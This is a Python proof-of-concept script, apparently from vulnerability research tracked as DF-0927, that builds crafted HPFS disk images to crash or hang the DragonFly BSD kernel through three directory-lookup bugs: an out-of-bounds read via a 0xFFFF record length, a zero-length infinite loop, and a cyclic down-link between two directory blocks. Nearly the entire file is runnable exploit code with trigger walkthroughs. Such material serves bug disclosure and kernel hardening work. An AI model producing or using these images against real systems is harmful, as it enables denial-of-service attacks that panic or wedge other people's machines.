DF-0927 / craft_img.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 | #!/usr/bin/env python3 """ DF-0927 -- Hand-crafted HPFS image to trigger the unbounded dirent traversal in hpfs_genlookupbyname() (sys/vfs/hpfs/hpfs_lookup.c:82-102). Built from scratch (no base.hpfs needed); layout mirrors the proven DF-0857 image (root fnode @ 0x20, dirblk @ 0x40) but the first dirent in the dirblk is poisoned to demonstrate one of three bugs: --oob Variant A: first dirent de_reclen=0xFFFF, DE_END clear, name "A". On stat("/mnt/zzz"): while(!(dep->de_flag & DE_END)) (hpfs_lookup.c:82) hpfs_cmpfname("zzz","A") -> 'z'-'A' > 0 -> continue dep += dep->de_reclen (=+0xFFFF) (hpfs_lookup.c:96) while-cond reads dep->de_flag at ~64KiB past the 2048-byte bread'd buffer -> kernel page-fault panic. (CWE-125 OOB read) --hang1 Variant B: first dirent de_reclen=0, DE_END clear, name "A". On stat("/mnt/zzz"): cmpfname >0 -> continue; dep += 0 -> no advance; loop spins forever on the same dirent -> kernel thread wedged. (CWE-835) --cycle Variant C: two dirblks D0 (0x40), D1 (0x58) whose end-dirents have DE_END|DE_DOWN with down_lsn referencing each other. On stat -> dive loop: lsn = DE_DOWNLSN(dep); goto dive (hpfs_lookup.c:99-102) bounces D0<->D1 forever (no depth counter, unlike hpfs_readdir which carries int level). (CWE-835 + CWE-400) ABI note: the kernel casts raw dirblk bytes to (struct hpfsdirent *) with DragonFly's amd64 struct layout (u_long = 8B, 8B-aligned). The on-disk dirent must match the *kernel's* struct layout, not OS/2's. See sys/vfs/hpfs/hpfs.h:116-131 -- struct hpfsdirent. Usage: python3 craft_img.py [--oob|--hang1|--cycle] out.img """ import struct, sys SECTOR = 512 # HPFS magics SU_MAGIC = 0xFA53E9C5F995E849 SP_MAGIC = 0xFA5229C5F9911849 FN_MAGIC = 0xF7E40AAE D_MAGIC = 0x77E40AAE # HPFS dirent flags (sys/vfs/hpfs/hpfs.h:100-113) DE_END = 0x0008 DE_DOWN = 0x0004 # struct fnode offsets on amd64 (matches DF-0857 craft_img.py, validated there) FN_OFF_MAGIC = 0x00 FN_OFF_HIST = 0x08 FN_OFF_NAMELEN = 0x10 FN_OFF_NAME = 0x11 FN_OFF_PARENT = 0x20 FN_OFF_FLAG = 0x3B # nonzero => VDIR FN_OFF_AB = 0x3C # alblk_t (8 bytes) FN_OFF_ABD = 0x44 # u8[0x60] FN_OFF_SIZE = 0xA4 AB_OFF_FLAG = 0 AB_OFF_FREECNT = 4 AB_OFF_BUSYCNT = 5 AB_OFF_FREEOFF = 6 # In-kernel struct hpfsdirent layout on amd64 (u_long = 8B, aligned). See # sys/vfs/hpfs/hpfs.h:116-131. # # 0x00 de_reclen u16 # 0x02 de_flag u16 # 0x04 de_fnode lsn_t (u32) # 0x08 de_mtime u_long (u64) # 0x10 de_size u32 # 0x14 -- pad 4B for u_long alignment of de_atime -- # 0x18 de_atime u_long (u64) # 0x20 de_ctime u_long (u64) # 0x28 de_ealen u32 # 0x2c de_flexflag u8 # 0x2d de_cpid u8 # 0x2e de_namelen u8 # 0x2f de_name[namelen] # (de_reclen pads to 4-byte multiple; if DE_DOWN, last 4 bytes of dirent # are the down lsn.) DE_HDR_SIZE = 0x2F # bytes up to and including de_name[0] DIRBLK_HDR = 20 # sizeof(dirblk_t) on amd64 # Boot/sectors used LSN_BOOT = 0x00 LSN_SUPER = 0x10 LSN_SPARE = 0x11 LSN_ROOTFN = 0x20 LSN_BITMAP_DIR = 0x30 LSN_BITMAP = 0x38 LSN_DIRBLK_D0 = 0x40 # primary dirblk (root dir contents) LSN_DIRBLK_D1 = 0x58 # second dirblk, only used in --cycle variant TOTAL_SECTORS = 0x80 # 64KiB image def wr32(img, off, v): struct.pack_into('<I', img, off, v & 0xFFFFFFFF) def wr64(img, off, v): struct.pack_into('<Q', img, off, v & 0xFFFFFFFFFFFFFFFF) def wr16(img, off, v): struct.pack_into('<H', img, off, v & 0xFFFF) def wr8 (img, off, v): img[off] = v & 0xFF def write_superblock(img): su = LSN_SUPER * SECTOR wr64(img, su + 0, SU_MAGIC) wr8(img, su + 8, 2) # su_hpfsver wr32(img, su + 12, LSN_ROOTFN) # su_rootfno wr32(img, su + 16, TOTAL_SECTORS) # su_btotal wr32(img, su + 24, LSN_BITMAP_DIR) # su_bitmap.lsn1 wr32(img, su + 28, LSN_BITMAP_DIR) # su_bitmap.lsn2 def write_spareblock(img): sp = LSN_SPARE * SECTOR wr64(img, sp + 0, SP_MAGIC) def write_bitmap(img): bd = LSN_BITMAP_DIR * SECTOR wr32(img, bd, LSN_BITMAP) # hpmp->hpm_bmind[0] bm = LSN_BITMAP * SECTOR # bit set = sector free; bit clear = sector used. Mark 0..0x40 used. for i in range(0x40): img[bm + (i >> 3)] &= ~(1 << (i & 7)) for i in range(0x40, TOTAL_SECTORS): img[bm + (i >> 3)] |= (1 << (i & 7)) def write_root_fnode(img): """Root fnode: VDIR with a single alleaf pointing at the dirblk D0.""" rf = LSN_ROOTFN * SECTOR wr32(img, rf + FN_OFF_MAGIC, FN_MAGIC) wr8(img, rf + FN_OFF_NAMELEN, 1) img[rf + FN_OFF_NAME] = ord('.') wr32(img, rf + FN_OFF_PARENT, LSN_ROOTFN) wr32(img, rf + FN_OFF_FLAG, 1) # VDIR # alblk: leaf, busycnt=1, freecnt=7, freeoff=20 img[rf + FN_OFF_AB + AB_OFF_FLAG] = 0 img[rf + FN_OFF_AB + AB_OFF_FREECNT] = 7 img[rf + FN_OFF_AB + AB_OFF_BUSYCNT] = 1 wr16(img, rf + FN_OFF_AB + AB_OFF_FREEOFF, 8 + 12) # alleaf[0]: offset=0, len=1, lsn=D0 wr32(img, rf + FN_OFF_ABD + 0, 0) wr32(img, rf + FN_OFF_ABD + 4, 1) wr32(img, rf + FN_OFF_ABD + 8, LSN_DIRBLK_D0) wr32(img, rf + FN_OFF_SIZE, 4 * SECTOR) def write_dirent(img, dep_off, reclen, flag, namelen, name, down_lsn=None, fnode=0xDEADBEEF, size=0x1000): """Write one in-kernel-layout hpfsdirent at byte offset dep_off.""" wr16(img, dep_off + 0x00, reclen) wr16(img, dep_off + 0x02, flag) wr32(img, dep_off + 0x04, fnode) wr64(img, dep_off + 0x08, 0) # mtime wr32(img, dep_off + 0x10, size) # 4 bytes pad at 0x14 (implicit zero) wr64(img, dep_off + 0x18, 0) # atime wr64(img, dep_off + 0x20, 0) # ctime wr32(img, dep_off + 0x28, 0) # ealen img[dep_off + 0x2c] = 0 # flexflag img[dep_off + 0x2d] = 0 # cpid img[dep_off + 0x2e] = namelen for i, c in enumerate(name[:namelen]): img[dep_off + 0x2f + i] = c if isinstance(c, int) else ord(c) if (flag & DE_DOWN) and down_lsn is not None: # down lsn occupies the LAST 4 bytes of the dirent wr32(img, dep_off + reclen - 4, down_lsn) def write_dirblk_header(img, db_off, freeoff, parent=LSN_ROOTFN, self_lsn=None): if self_lsn is None: self_lsn = db_off // SECTOR wr32(img, db_off + 0, D_MAGIC) wr32(img, db_off + 4, freeoff) wr32(img, db_off + 8, 0) # chcnt wr32(img, db_off + 12, parent) wr32(img, db_off + 16, self_lsn) def build_oob(outpath): """Variant A: first dirent de_reclen=0xFFFF, name 'A', DE_END clear.""" img = bytearray(TOTAL_SECTORS * SECTOR) img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55) write_superblock(img) write_spareblock(img) write_bitmap(img) write_root_fnode(img) # dirblk D0 db = LSN_DIRBLK_D0 * SECTOR dep0 = db + DIRBLK_HDR # name 'A' (sorts before 'zzz' so cmpfname returns >0 -> loop continues) name = b'A' reclen0 = 0xFFFF # <-- POISON: huge stride write_dirent(img, dep0, reclen0, 0, len(name), name) # dirblk header: d_freeoff past dep0's name. Not strictly needed. write_dirblk_header(img, db, dep0 + DE_HDR_SIZE + len(name) - db, parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0) with open(outpath, 'wb') as f: f.write(img) print(f"[+] wrote {outpath} (variant A: de_reclen=0xFFFF OOB)", file=sys.stderr) def build_hang1(outpath): """Variant B: first dirent de_reclen=0, name 'A', DE_END clear.""" img = bytearray(TOTAL_SECTORS * SECTOR) img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55) write_superblock(img) write_spareblock(img) write_bitmap(img) write_root_fnode(img) db = LSN_DIRBLK_D0 * SECTOR dep0 = db + DIRBLK_HDR name = b'A' reclen0 = 0 # <-- POISON: zero stride write_dirent(img, dep0, reclen0, 0, len(name), name) write_dirblk_header(img, db, dep0 + DE_HDR_SIZE + len(name) - db, parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0) with open(outpath, 'wb') as f: f.write(img) print(f"[+] wrote {outpath} (variant B: de_reclen=0 infinite loop)", file=sys.stderr) def build_cycle(outpath): """Variant C: two dirblks D0, D1 whose end-dirents DE_DOWN-cycle. Layout: D0 @ 0x40: first dirent is the END dirent with DE_END|DE_DOWN, down_lsn = D1. D1 @ 0x58: first dirent is the END dirent with DE_END|DE_DOWN, down_lsn = D0. On stat("/mnt/zzz"): dive: bread D0 while(!(dep->de_flag & DE_END)) -> dep is END, loop body never runs if (dep->de_flag & DE_DOWN) -> lsn = D1; goto dive dive: bread D1 ... loop body never runs ... if (DE_DOWN) -> lsn = D0; goto dive (CYCLE) """ img = bytearray(TOTAL_SECTORS * SECTOR) img[0] = 0xEB; wr16(img, SECTOR - 2, 0xAA55) write_superblock(img) write_spareblock(img) write_bitmap(img) # Mark D1's sectors used too bm = LSN_BITMAP * SECTOR for i in range(LSN_DIRBLK_D0, LSN_DIRBLK_D1 + 4): img[bm + (i >> 3)] &= ~(1 << (i & 7)) write_root_fnode(img) # D0: end-dirent with DE_END|DE_DOWN, down_lsn=D1 db0 = LSN_DIRBLK_D0 * SECTOR dep0 = db0 + DIRBLK_HDR name0 = b'A' # name doesn't matter; END skips cmpfname reclen0 = 0x34 # 52B dirent, down_lsn at dep+0x30 write_dirent(img, dep0, reclen0, DE_END | DE_DOWN, len(name0), name0, down_lsn=LSN_DIRBLK_D1) write_dirblk_header(img, db0, dep0 + reclen0 - db0, parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D0) # D1: end-dirent with DE_END|DE_DOWN, down_lsn=D0 db1 = LSN_DIRBLK_D1 * SECTOR dep1 = db1 + DIRBLK_HDR name1 = b'A' reclen1 = 0x34 write_dirent(img, dep1, reclen1, DE_END | DE_DOWN, len(name1), name1, down_lsn=LSN_DIRBLK_D0) write_dirblk_header(img, db1, dep1 + reclen1 - db1, parent=LSN_ROOTFN, self_lsn=LSN_DIRBLK_D1) with open(outpath, 'wb') as f: f.write(img) print(f"[+] wrote {outpath} (variant C: D0<->D1 DE_DOWN cycle)", file=sys.stderr) def main(argv): mode = '--oob' args = [] for a in argv[1:]: if a in ('--oob', '--hang1', '--cycle'): mode = a else: args.append(a) out = args[0] if args else 'df0927.img' if mode == '--hang1': build_hang1(out) elif mode == '--cycle': build_cycle(out) else: build_oob(out) return 0 if __name__ == '__main__': sys.exit(main(sys.argv)) |